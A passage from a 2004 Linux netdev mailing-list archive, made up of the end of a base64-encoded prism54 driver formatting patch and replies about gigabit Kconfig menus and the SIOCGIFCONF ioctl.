bGVuKSB7CiAJCWlmIChoLT5mbGFncyAmIFBJTUZPUl9GTEFHX0xJVFRMRV9FTkRJQU4pIHsKIAkJ CWxlMzJfdG9fY3B1cygmaC0+b2lkKTsKIAkJCWxlMzJfdG9fY3B1cygmaC0+bGVuZ3RoKTsKQEAg LTEwNyw4ICsxMDcsOCBAQAogaXNscGNpX21nbXRfcnhfZmlsbChzdHJ1Y3QgbmV0X2RldmljZSAq bmRldikKIHsKIAlpc2xwY2lfcHJpdmF0ZSAqcHJpdiA9IG5ldGRldl9wcml2KG5kZXYpOwotCWlz bDM4eHhfY29udHJvbF9ibG9jayAqY2IgPSAgICAvKiB2b2xhdGlsZSBub3QgbmVlZGVkICovCi0J CShpc2wzOHh4X2NvbnRyb2xfYmxvY2sgKikgcHJpdi0+Y29udHJvbF9ibG9jazsKKwlpc2wzOHh4 X2NvbnRyb2xfYmxvY2sgKmNiID0JLyogdm9sYXRpbGUgbm90IG5lZWRlZCAqLworCSAgICAoaXNs Mzh4eF9jb250cm9sX2Jsb2NrICopIHByaXYtPmNvbnRyb2xfYmxvY2s7CiAJdTMyIGN1cnIgPSBs ZTMyX3RvX2NwdShjYi0+ZHJpdmVyX2N1cnJfZnJhZ1tJU0wzOFhYX0NCX1JYX01HTVRRXSk7CiAK ICNpZiBWRVJCT1NFID4gU0hPV19FUlJPUl9NRVNTQUdFUwpAQCAtMTQwLDE1ICsxNDAsMTUgQEAK IAkJCX0KIAkJfQogCi0gICAgICAgICAgICAgICAgLyogYmUgc2FmZTogYWx3YXlzIHJlc2V0IGNv bnRyb2wgYmxvY2sgaW5mb3JtYXRpb24gKi8KKwkJLyogYmUgc2FmZTogYWx3YXlzIHJlc2V0IGNv bnRyb2wgYmxvY2sgaW5mb3JtYXRpb24gKi8KIAkJZnJhZy0+c2l6ZSA9IGNwdV90b19sZTE2KE1H TVRfRlJBTUVfU0laRSk7CiAJCWZyYWctPmZsYWdzID0gMDsKIAkJZnJhZy0+YWRkcmVzcyA9IGNw dV90b19sZTMyKGJ1Zi0+cGNpX2FkZHIpOwogCQljdXJyKys7CiAKLSAgICAgICAgICAgICAgICAv KiBUaGUgZnJhZ21lbnQgYWRkcmVzcyBpbiB0aGUgY29udHJvbCBibG9jayBtdXN0IGhhdmUKLSAg ICAgICAgICAgICAgICAgKiBiZWVuIHdyaXR0ZW4gYmVmb3JlIGFubm91bmNpbmcgdGhlIGZyYW1l IGJ1ZmZlciB0bwotICAgICAgICAgICAgICAgICAqIGRldmljZSAqLworCQkvKiBUaGUgZnJhZ21l bnQgYWRkcmVzcyBpbiB0aGUgY29udHJvbCBibG9jayBtdXN0IGhhdmUKKwkJICogYmVlbiB3cml0 dGVuIGJlZm9yZSBhbm5vdW5jaW5nIHRoZSBmcmFtZSBidWZmZXIgdG8KKwkJICogZGV2aWNlICov CiAJCXdtYigpOwogCQljYi0+ZHJpdmVyX2N1cnJfZnJhZ1tJU0wzOFhYX0NCX1JYX01HTVRRXSA9 IGNwdV90b19sZTMyKGN1cnIpOwogCX0KQEAgLTE2OCw3ICsxNjgsNyBAQAogewogCWlzbHBjaV9w cml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJaXNsMzh4eF9jb250cm9sX2Jsb2Nr ICpjYiA9Ci0JCShpc2wzOHh4X2NvbnRyb2xfYmxvY2sgKikgcHJpdi0+Y29udHJvbF9ibG9jazsK KwkgICAgKGlzbDM4eHhfY29udHJvbF9ibG9jayAqKSBwcml2LT5jb250cm9sX2Jsb2NrOwogCXZv aWQgKnA7CiAJaW50IGVyciA9IC1FSU5WQUw7CiAJdW5zaWduZWQgbG9uZyBmbGFnczsKQEAgLTI0 Miw3ICsyNDIsNyBAQAogCXByaXYtPm1nbXRfdHhbaW5kZXhdID0gYnVmOwogCWZyYWcgPSAmY2It PnR4X2RhdGFfbWdtdFtpbmRleF07CiAJZnJhZy0+c2l6ZSA9IGNwdV90b19sZTE2KGZyYWdfbGVu KTsKLQlmcmFnLT5mbGFncyA9IDA7ICAgLyogZm9yIGFueSBvdGhlciB0aGFuIHRoZSBsYXN0IGZy YWdtZW50LCBzZXQgdG8gMSAqLworCWZyYWctPmZsYWdzID0gMDsJLyogZm9yIGFueSBvdGhlciB0 aGFuIHRoZSBsYXN0IGZyYWdtZW50LCBzZXQgdG8gMSAqLwogCWZyYWctPmFkZHJlc3MgPSBjcHVf dG9fbGUzMihidWYucGNpX2FkZHIpOwogCiAJLyogVGhlIGZyYWdtZW50IGFkZHJlc3MgaW4gdGhl IGNvbnRyb2wgYmxvY2sgbXVzdCBoYXZlCkBAIC0yNTYsMTEgKzI1NiwxMSBAQAogCWlzbHBjaV90 cmlnZ2VyKHByaXYpOwogCXJldHVybiAwOwogCi0gZXJyb3JfdW5sb2NrOgorICAgICAgZXJyb3Jf dW5sb2NrOgogCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJnByaXYtPnNsb2NrLCBmbGFncyk7Ci0g ZXJyb3JfZnJlZToKKyAgICAgIGVycm9yX2ZyZWU6CiAJa2ZyZWUoYnVmLm1lbSk7Ci0gZXJyb3I6 CisgICAgICBlcnJvcjoKIAlyZXR1cm4gZXJyOwogfQogCkBAIC0yNzQsMTYgKzI3NCwxNiBAQAog ewogCWlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJaXNsMzh4eF9j b250cm9sX2Jsb2NrICpjYiA9Ci0JCShpc2wzOHh4X2NvbnRyb2xfYmxvY2sgKikgcHJpdi0+Y29u dHJvbF9ibG9jazsKKwkgICAgKGlzbDM4eHhfY29udHJvbF9ibG9jayAqKSBwcml2LT5jb250cm9s X2Jsb2NrOwogCXUzMiBjdXJyX2ZyYWc7CiAKICNpZiBWRVJCT1NFID4gU0hPV19FUlJPUl9NRVNT QUdFUwogCURFQlVHKFNIT1dfRlVOQ1RJT05fQ0FMTFMsICJpc2xwY2lfbWd0X3JlY2VpdmUgXG4i KTsKICNlbmRpZgogCi0gICAgICAgIC8qIE9ubHkgb25jZSBwZXIgaW50ZXJydXB0LCBkZXRlcm1p bmUgZnJhZ21lbnQgcmFuZ2UgdG8KLSAgICAgICAgICogcHJvY2Vzcy4gIFRoaXMgYXZvaWRzIGFu IGVuZGxlc3MgbG9vcCAoaS5lLiBsb2NrdXApIGlmCi0gICAgICAgICAqIGZyYW1lcyBjb21lIGlu IGZhc3RlciB0aGFuIHdlIGNhbiBwcm9jZXNzIHRoZW0uICovCisJLyogT25seSBvbmNlIHBlciBp bnRlcnJ1cHQsIGRldGVybWluZSBmcmFnbWVudCByYW5nZSB0bworCSAqIHByb2Nlc3MuICBUaGlz IGF2b2lkcyBhbiBlbmRsZXNzIGxvb3AgKGkuZS4gbG9ja3VwKSBpZgorCSAqIGZyYW1lcyBjb21l IGluIGZhc3RlciB0aGFuIHdlIGNhbiBwcm9jZXNzIHRoZW0uICovCiAJY3Vycl9mcmFnID0gbGUz Ml90b19jcHUoY2ItPmRldmljZV9jdXJyX2ZyYWdbSVNMMzhYWF9DQl9SWF9NR01UUV0pOwogCWJh cnJpZXIoKTsKIApAQCAtMjk0LDI5ICsyOTQsMjkgQEAKIAkJdTE2IGZyYWdfbGVuOwogCQlpbnQg c2l6ZTsKIAkJc3RydWN0IGlzbHBjaV9tZ210ZnJhbWUgKmZyYW1lOwotICAgICAgICAgICAgICAK LSAgICAgICAgICAgICAgICAvKiBJIGhhdmUgbm8gaWRlYSAoYW5kIG5vIGRvY3VtZW50YXRpb24p IGlmIGZsYWdzICE9IDAKLSAgICAgICAgICAgICAgICAgKiBpcyBwb3NzaWJsZS4gIERyb3AgdGhl IGZyYW1lLCByZXVzZSB0aGUgYnVmZmVyLiAqLworCisJCS8qIEkgaGF2ZSBubyBpZGVhIChhbmQg bm8gZG9jdW1lbnRhdGlvbikgaWYgZmxhZ3MgIT0gMAorCQkgKiBpcyBwb3NzaWJsZS4gIERyb3Ag dGhlIGZyYW1lLCByZXVzZSB0aGUgYnVmZmVyLiAqLwogCQlpZiAobGUxNl90b19jcHUoY2ItPnJ4 X2RhdGFfbWdtdFtpbmRleF0uZmxhZ3MpICE9IDApIHsKLSAgICAgICAgICAgICAgICAgICAgICAg IHByaW50ayhLRVJOX1dBUk5JTkcgIiVzOiB1bmtub3duIGZsYWdzIDB4JTA0eFxuIiwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBuZGV2LT5uYW1lLAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIGxlMTZfdG9fY3B1KGNiLT5yeF9kYXRhX21nbXRbaW5kZXhdLmZsYWdzKSk7 Ci0gICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKLSAgICAgICAgICAgICAgICB9CisJ CQlwcmludGsoS0VSTl9XQVJOSU5HICIlczogdW5rbm93biBmbGFncyAweCUwNHhcbiIsCisJCQkg ICAgICAgbmRldi0+bmFtZSwKKwkJCSAgICAgICBsZTE2X3RvX2NwdShjYi0+cnhfZGF0YV9tZ210 W2luZGV4XS5mbGFncykpOworCQkJY29udGludWU7CisJCX0KIAogCQkvKiBUaGUgZGV2aWNlIG9u bHkgcmV0dXJucyB0aGUgc2l6ZSBvZiB0aGUgaGVhZGVyKHMpIGhlcmUuICovCiAJCWZyYWdfbGVu ID0gbGUxNl90b19jcHUoY2ItPnJ4X2RhdGFfbWdtdFtpbmRleF0uc2l6ZSk7CiAKIAkJLyoKLSAg ICAgICAgICAgICAgICAgKiBXZSBhcHBlYXIgdG8gaGF2ZSBubyB3YXkgdG8gdGVsbCB0aGUgZGV2 aWNlIHRoZQotICAgICAgICAgICAgICAgICAqIHNpemUgb2YgYSByZWNlaXZlIGJ1ZmZlci4gIFRo dXMsIGlmIHRoaXMgY2hlY2sKLSAgICAgICAgICAgICAgICAgKiB0cmlnZ2Vycywgd2UgbGlrZWx5 IGhhdmUga2VybmVsIGhlYXAgY29ycnVwdGlvbi4gKi8KLSAgICAgICAgICAgICAgICBpZiAoZnJh Z19sZW4gPiBNR01UX0ZSQU1FX1NJWkUpIHsKKwkJICogV2UgYXBwZWFyIHRvIGhhdmUgbm8gd2F5 IHRvIHRlbGwgdGhlIGRldmljZSB0aGUKKwkJICogc2l6ZSBvZiBhIHJlY2VpdmUgYnVmZmVyLiAg VGh1cywgaWYgdGhpcyBjaGVjaworCQkgKiB0cmlnZ2Vycywgd2UgbGlrZWx5IGhhdmUga2VybmVs IGhlYXAgY29ycnVwdGlvbi4gKi8KKwkJaWYgKGZyYWdfbGVuID4gTUdNVF9GUkFNRV9TSVpFKSB7 CiAJCQlwcmludGsoS0VSTl9XQVJOSU5HCiAJCQkJIiVzOiBCb2d1cyBwYWNrZXQgc2l6ZSBvZiAl ZCAoJSN4KS5cbiIsCiAJCQkJbmRldi0+bmFtZSwgZnJhZ19sZW4sIGZyYWdfbGVuKTsKLSAgICAg ICAgICAgICAgICAgICAgICAgIGZyYWdfbGVuID0gTUdNVF9GUkFNRV9TSVpFOwotICAgICAgICAg ICAgICAgIH0KKwkJCWZyYWdfbGVuID0gTUdNVF9GUkFNRV9TSVpFOworCQl9CiAKIAkJLyogRW5z dXJlIHRoZSByZXN1bHRzIG9mIGRldmljZSBETUEgYXJlIHZpc2libGUgdG8gdGhlIENQVS4gKi8K IAkJcGNpX2RtYV9zeW5jX3NpbmdsZShwcml2LT5wZGV2LCBidWYtPnBjaV9hZGRyLApAQCAtMzM4 LDcgKzMzOCw3IEBACiAjaWYgVkVSQk9TRSA+IFNIT1dfRVJST1JfTUVTU0FHRVMKIAkJREVCVUco U0hPV19QSU1GT1JfRlJBTUVTLAogCQkgICAgICAiUElNRk9SOiBvcCAlaSwgb2lkIDB4JTA4eCwg ZGV2aWNlICVpLCBmbGFncyAweCV4IGxlbmd0aCAweCV4IFxuIiwKLQkJICAgICAgaGVhZGVyLT5v cGVyYXRpb24sIGhlYWRlci0+b2lkLCBoZWFkZXItPmRldmljZV9pZCwgCisJCSAgICAgIGhlYWRl ci0+b3BlcmF0aW9uLCBoZWFkZXItPm9pZCwgaGVhZGVyLT5kZXZpY2VfaWQsCiAJCSAgICAgIGhl YWRlci0+ZmxhZ3MsIGhlYWRlci0+bGVuZ3RoKTsKIAogCQkvKiBkaXNwbGF5IHRoZSBidWZmZXIg Y29udGVudHMgZm9yIGRlYnVnZ2luZyAqLwpAQCAtMzYzLDcgKzM2Myw3IEBACiAJCQlwcmludGso S0VSTl9XQVJOSU5HCiAJCQkgICAgICAgIiVzOiBPdXQgb2YgbWVtb3J5LCBjYW5ub3QgaGFuZGxl IG9pZCAweCUwOHhcbiIsCiAJCQkgICAgICAgbmRldi0+bmFtZSwgaGVhZGVyLT5vaWQpOwotCQkJ Y29udGludWU7ICAgICAgICAKKwkJCWNvbnRpbnVlOwogCQl9CiAJCWZyYW1lLT5uZGV2ID0gbmRl djsKIAkJbWVtY3B5KCZmcmFtZS0+YnVmLCBoZWFkZXIsIHNpemUpOwpAQCAtMzgzLDcgKzM4Myw3 IEBACiAJCQkgICAgICAgaGVhZGVyLT5vaWQsIGhlYWRlci0+ZGV2aWNlX2lkLCBoZWFkZXItPmZs YWdzLAogCQkJICAgICAgIGhlYWRlci0+bGVuZ3RoKTsKICNlbmRpZgotICAgICAgICAgICAgICAg ICAgICAgIAorCiAJCQkvKiBDcmVhdGUgd29yayB0byBoYW5kbGUgdHJhcCBvdXQgb2YgaW50ZXJy dXB0CiAJCQkgKiBjb250ZXh0LiAqLwogCQkJSU5JVF9XT1JLKCZmcmFtZS0+d3MsIHByaXNtNTRf cHJvY2Vzc190cmFwLCBmcmFtZSk7CkBAIC00MTYsMTkgKzQxNiwxOSBAQAogaXNscGNpX21ndF9j bGVhbnVwX3RyYW5zbWl0KHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2KQogewogCWlzbHBjaV9wcml2 YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7Ci0JaXNsMzh4eF9jb250cm9sX2Jsb2NrICpj YiA9ICAgIC8qIHZvbGF0aWxlIG5vdCBuZWVkZWQgKi8KLQkJKGlzbDM4eHhfY29udHJvbF9ibG9j ayAqKSBwcml2LT5jb250cm9sX2Jsb2NrOworCWlzbDM4eHhfY29udHJvbF9ibG9jayAqY2IgPQkv KiB2b2xhdGlsZSBub3QgbmVlZGVkICovCisJICAgIChpc2wzOHh4X2NvbnRyb2xfYmxvY2sgKikg cHJpdi0+Y29udHJvbF9ibG9jazsKIAl1MzIgY3Vycl9mcmFnOwogCiAjaWYgVkVSQk9TRSA+IFNI T1dfRVJST1JfTUVTU0FHRVMKLSAgICAgICAgREVCVUcoU0hPV19GVU5DVElPTl9DQUxMUywgImlz bHBjaV9tZ3RfY2xlYW51cF90cmFuc21pdFxuIik7CisJREVCVUcoU0hPV19GVU5DVElPTl9DQUxM UywgImlzbHBjaV9tZ3RfY2xlYW51cF90cmFuc21pdFxuIik7CiAjZW5kaWYKIAogCS8qIE9ubHkg b25jZSBwZXIgY2xlYW51cCwgZGV0ZXJtaW5lIGZyYWdtZW50IHJhbmdlIHRvCiAJICogcHJvY2Vz cy4gIFRoaXMgYXZvaWRzIGFuIGVuZGxlc3MgbG9vcCAoaS5lLiBsb2NrdXApIGlmCiAJICogdGhl IGRldmljZSBiZWNhbWUgY29uZnVzZWQsIGluY3JlbWVudGluZyBkZXZpY2VfY3Vycl9mcmFnCiAJ ICogcmFwaWRseS4gKi8KLQljdXJyX2ZyYWcgPSBsZTMyX3RvX2NwdShjYi0+ZGV2aWNlX2N1cnJf ZnJhZ1tJU0wzOFhYX0NCX1RYX01HTVRRXSk7IAorCWN1cnJfZnJhZyA9IGxlMzJfdG9fY3B1KGNi LT5kZXZpY2VfY3Vycl9mcmFnW0lTTDM4WFhfQ0JfVFhfTUdNVFFdKTsKIAliYXJyaWVyKCk7CiAK IAlmb3IgKDsgcHJpdi0+aW5kZXhfbWdtdF90eCA8IGN1cnJfZnJhZzsgcHJpdi0+aW5kZXhfbWdt dF90eCsrKSB7CkBAIC00NzUsOSArNDc1LDkgQEAKIAkJZnJhbWUgPSB4Y2hnKCZwcml2LT5tZ210 X3JlY2VpdmVkLCBOVUxMKTsKIAkJaWYgKGZyYW1lKSB7CiAJCQlpZiAoZnJhbWUtPmhlYWRlci0+ b2lkID09IG9pZCkgewotCQkJKnJlY3ZmcmFtZSA9IGZyYW1lOwotCQkJZXJyID0gMDsKLQkJCWdv dG8gb3V0OworCQkJCSpyZWN2ZnJhbWUgPSBmcmFtZTsKKwkJCQllcnIgPSAwOworCQkJCWdvdG8g b3V0OwogCQkJfSBlbHNlIHsKIAkJCQlwcmludGsoS0VSTl9ERUJVRwogCQkJCSAgICAgICAiJXM6 IGV4cGVjdGluZyBvaWQgMHgleCwgcmVjZWl2ZWQgMHgleC5cbiIsCkBAIC00ODUsMTMgKzQ4NSwx MyBAQAogCQkJCSAgICAgICBmcmFtZS0+aGVhZGVyLT5vaWQpOwogCQkJCWtmcmVlKGZyYW1lKTsK IAkJCQlmcmFtZSA9IE5VTEw7Ci0JCX0KKwkJCX0KIAkJfQogCQlpZiAodGltZWxlZnQgPT0gMCkg ewogCQkJcHJpbnRrKEtFUk5fREVCVUcKIAkJCQkiJXM6IHRpbWVvdXQgd2FpdGluZyBmb3IgbWdt dCByZXNwb25zZSAlbHUsICIKIAkJCQkidHJpZ2dlcmluZyBkZXZpY2VcbiIsCi0JCQkgICAgICAg bmRldi0+bmFtZSwgdGltZW91dF9sZWZ0KTsKKwkJCQluZGV2LT5uYW1lLCB0aW1lb3V0X2xlZnQp OwogCQkJaXNscGNpX3RyaWdnZXIocHJpdik7CiAJCX0KIAkJdGltZW91dF9sZWZ0ICs9IHRpbWVs ZWZ0IC0gd2FpdF9jeWNsZV9qaWZmaWVzOwpkaWZmIC1OYXVyIGxpbnV4LTIuNi42Y3QvZHJpdmVy cy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMJMjAwNC0wNS0yOCAxNToxNDo0OS40MzE5MTY4 OTYgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv b2lkX21ndC5jCTIwMDQtMDUtMjggMTU6MTI6NDkuMzcyMTY4NzUyICswMjAwCkBAIC00NTQsNyAr NDU0LDcgQEAKIAkJCWlzbHBjaV9tZ3RfcmVsZWFzZShyZXNwb25zZSk7CiAJCX0KIAkJaWYgKHJl dCB8fCByZXNwb25zZV9vcCA9PSBQSU1GT1JfT1BfRVJST1IpCi0JCSAgICAgICAgcmV0ID0gLUVJ TzsKKwkJCXJldCA9IC1FSU87CiAJfSBlbHNlIGlmICghY2FjaGUpCiAJCXJldCA9IC1FSU87CiAK QEAgLTQ3OSw3ICs0NzksNyBAQAogCWludCByZXQgPSAtRUlPOwogCWludCByZXNsZW4gPSAwOwog CXN0cnVjdCBpc2xwY2lfbWdtdGZyYW1lICpyZXNwb25zZSA9IE5VTEw7Ci0JCisKIAlpbnQgZGxl bjsKIAl2b2lkICpjYWNoZSwgKl9yZXMgPSBOVUxMOwogCXUzMiBvaWQ7CkBAIC01MDQsNyArNTA0 LDcgQEAKIAkJcmV0ID0gaXNscGNpX21ndF90cmFuc2FjdGlvbihwcml2LT5uZGV2LCBQSU1GT1Jf T1BfR0VULAogCQkJCQkgICAgIG9pZCwgZGF0YSwgZGxlbiwgJnJlc3BvbnNlKTsKIAkJaWYgKHJl dCB8fCAhcmVzcG9uc2UgfHwKLQkJCXJlc3BvbnNlLT5oZWFkZXItPm9wZXJhdGlvbiA9PSBQSU1G T1JfT1BfRVJST1IpIHsKKwkJICAgIHJlc3BvbnNlLT5oZWFkZXItPm9wZXJhdGlvbiA9PSBQSU1G T1JfT1BfRVJST1IpIHsKIAkJCWlmIChyZXNwb25zZSkKIAkJCQlpc2xwY2lfbWd0X3JlbGVhc2Uo cmVzcG9uc2UpOwogCQkJcmV0ID0gLUVJTzsKQEAgLTU0MSw3ICs1NDEsNyBAQAogCQkgICAgICAg Im1ndF9nZXRfcmVxdWVzdCgweCV4KTogcmVjZWl2ZWQgZGF0YSBsZW5ndGggd2FzIGJpZ2dlciAi CiAJCSAgICAgICAidGhhbiBleHBlY3RlZCAoJWQgPiAlZCkuIE1lbW9yeSBpcyBwcm9iYWJseSBj b3JydXB0ZWQuLi4iLAogCQkgICAgICAgb2lkLCByZXNsZW4sIGlzbF9vaWRbbl0uc2l6ZSk7Ci0J CisKIAlyZXR1cm4gcmV0OwogfQogCkBAIC01NjEsMTEgKzU2MSwxMSBAQAogCQl3aGlsZSAoaiA8 PSB0LT5yYW5nZSkgewogCQkJcmVzcG9uc2UgPSBOVUxMOwogCQkJcmV0IHw9IGlzbHBjaV9tZ3Rf dHJhbnNhY3Rpb24ocHJpdi0+bmRldiwgUElNRk9SX09QX1NFVCwKLQkJCSAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIG9pZCwgZGF0YSwgdC0+c2l6ZSwKKwkJCQkJCSAgICAgIG9pZCwgZGF0 YSwgdC0+c2l6ZSwKIAkJCQkJCSAgICAgICZyZXNwb25zZSk7CiAJCQlpZiAocmVzcG9uc2UpIHsK IAkJCQlyZXQgfD0gKHJlc3BvbnNlLT5oZWFkZXItPm9wZXJhdGlvbiA9PQotCQkJCSAgICAgICAg UElNRk9SX09QX0VSUk9SKTsKKwkJCQkJUElNRk9SX09QX0VSUk9SKTsKIAkJCQlpc2xwY2lfbWd0 X3JlbGVhc2UocmVzcG9uc2UpOwogCQkJfQogCQkJaisrOwpAQCAtNjY5LDcgKzY2OSw3IEBACiAJ CS8qIHNvbWUgcmVxdWVzdCBoYXZlIGZhaWxlZC4gVGhlIGRldmljZSBtaWdodCBiZSBpbiBhbgog CQkgICBpbmNvaGVyZW50IHN0YXRlLiBXZSBzaG91bGQgcmVzZXQgaXQgISAqLwogCQlwcmludGso S0VSTl9ERUJVRyAiJXM6IG1ndF9jb21taXQgaGFzIGZhaWxlZC4gUmVzdGFydCB0aGUgIgotICAg ICAgICAgICAgICAgICJkZXZpY2UgXG4iLCBwcml2LT5uZGV2LT5uYW1lKTsKKwkJICAgICAgICJk ZXZpY2UgXG4iLCBwcml2LT5uZGV2LT5uYW1lKTsKIAl9CiB9CiAKZGlmZiAtTmF1ciBsaW51eC0y LjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oIGxpbnV4LTIuNi42 LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oCi0tLSBsaW51eC0yLjYu NmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oCTIwMDQtMDUtMjggMTQ6 MDc6MjIuNjQ1MTIyMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJl bGVzcy9wcmlzbTU0L29pZF9tZ3QuaAkyMDA0LTA1LTI4IDE0OjA2OjM3Ljk0MTkxNzkyMCArMDIw MApAQCAtMzgsNyArMzgsNyBAQAogaW50IG1ndF9zZXRfcmVxdWVzdChpc2xwY2lfcHJpdmF0ZSAq LCBlbnVtIG9pZF9udW1fdCwgaW50LCB2b2lkICopOwogCiBpbnQgbWd0X2dldF9yZXF1ZXN0KGlz bHBjaV9wcml2YXRlICosIGVudW0gb2lkX251bV90LCBpbnQsIHZvaWQgKiwKLSAgICAgICAgICAg ICAgICAgICAgdW5pb24gb2lkX3Jlc190ICopOworCQkgICAgdW5pb24gb2lkX3Jlc190ICopOwog CiBpbnQgbWd0X2NvbW1pdF9saXN0KGlzbHBjaV9wcml2YXRlICosIGVudW0gb2lkX251bV90ICos IGludCk7CiAK --=====================_50585107==_-- From jgarzik@pobox.com Sun May 30 13:43:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:43:53 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UKhmgi004804 for ; Sun, 30 May 2004 13:43:49 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BUX9n-0005Br-9f; Sun, 30 May 2004 21:43:47 +0100 Message-ID: <40BA4776.5090407@pobox.com> Date: Sun, 30 May 2004 16:43:34 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Linus Torvalds CC: Adrian Bunk , linux-kernel@vger.kernel.org, "Randy.Dunlap" , Danny ter Haar , wa1ter@myrealbox.com, dth@ncc1701.cistron.net, Netdev , Andrew Morton Subject: Re: [patch] Re: Gigabit Kconfig problems with yesterday's update References: <40B8A37D.1090802@myrealbox.com> <20040530134544.GE13111@fs.tum.de> <20040530143734.GA24627@dth.net> <20040530094120.61b22d2e.rddunlap@osdl.org> <40BA1F25.4080402@pobox.com> <20040530193706.GG13111@fs.tum.de> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5480 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Linus Torvalds wrote: > is it really sane these days to split out gigabit from the "regular" > ethernets? gigabit ethernet is getting quite a bit more common than it > used to be, and a lot of the gigabit devices are just "standard ethernet" > as far as the user is concerned, and in fact they are often _used_ in just > regular 10/100Mbps setups. > In other words: it's quite understandable if somebody doesn't even > _realize_ that his chip supports gigabit speeds these days. That's ok. Most users have no idea that their "Surecom 1234 Zippy Ethernet" is really an 8139 chip, and that they need the 8139too driver. Kernel configuration is for kernel developers, kernel vendors (distributions), and power users, all of whom are expected to know what they are doing. So, I disagree with that argument. However... > If the menu then grows really big, maybe we can split it according to some > _saner_ split. Not that I can see off-hand what that would be, but.. ...I won't reject arguments based on general annoyance, or specific annoyance at the categorizing. This change was the way I preferred that the network driver Kconfig start moving, with future categorizations as well -- the overall goal being that eventually you'll select among several classes of devices, instead of today's innumerably long list of devices from the first days of ethernet to today's 10Gbps. The easy fix is just to cset -x the change I commited. Ethernet and "gigabit ethernet" will be in separate menus, but there will not a separate CONFIG_NET_GIGE option. I won't complain, if people feel 'cset -x' is warranted. It's just a config option, not anything terribly important[1] Jeff [1] Of course, this is lkml, the big arguments are always over trivialities like this ;-) From olh@suse.de Sun May 30 14:16:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:16:13 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULFxgi005822 for ; Sun, 30 May 2004 14:16:00 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id D89BA654211; Sun, 30 May 2004 22:25:08 +0200 (CEST) Date: Sun, 30 May 2004 22:25:08 +0200 From: Olaf Hering To: Joshua Kwan , netdev@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: Re: consistent ioctl for getting all net interfaces? Message-ID: <20040530202508.GA31468@suse.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-DOS: I got your 640K Real Mode Right Here Buddy! X-Homeland-Security: You are not supposed to read this line! You are a terrorist! User-Agent: Mutt und vi sind doch schneller als Notes Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4ULFxgi005822 X-archive-position: 5481 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olh@suse.de Precedence: bulk X-list: netdev On Sat, May 22, Joshua Kwan wrote: > Hi, > > I'm interested in not having to parse /proc/net/dev to get a list of all > available (not necessarily even up) interfaces on the system. I > investigated the ioctl SIOCGIFCONF, but it seems to behave differently on > 2.4 and 2.6 series kernels, e.g. sometimes it won't return all interfaces. you should bring that to netdev@oss.sgi.com instead of lkml. IF the ioctl has really changed, then it would be a bug. I just played with ipconfig from the klibc distribution, and it returns only interfaces in UP state. I'm sure that ipconfig binary worked when the code was written. If the ioctl is supposed to work how it does in 2.6, there is still /sys/class/net/*. Thats (probably) more reliable than a text parser. See `nameif -r 'foo: bar' eth0` as example. -- USB is for mice, FireWire is for men! sUse lINUX ag, nÜRNBERG From margitsw@t-online.de Sun May 30 14:17:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:17:18 -0700 (PDT) Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULHDgi005984 for ; Sun, 30 May 2004 14:17:14 -0700 Received: from fwd06.aul.t-online.de by mailout09.sul.t-online.com with smtp id 1BUWZu-0000fe-02; Sun, 30 May 2004 22:06:42 +0200 Received: from margit.t-online.de (S8GlXrZLQefyKt4gVVGkzvh10EI6MLQTjst3NbE+w5aYr+8t5sw16G@[80.128.220.231]) by 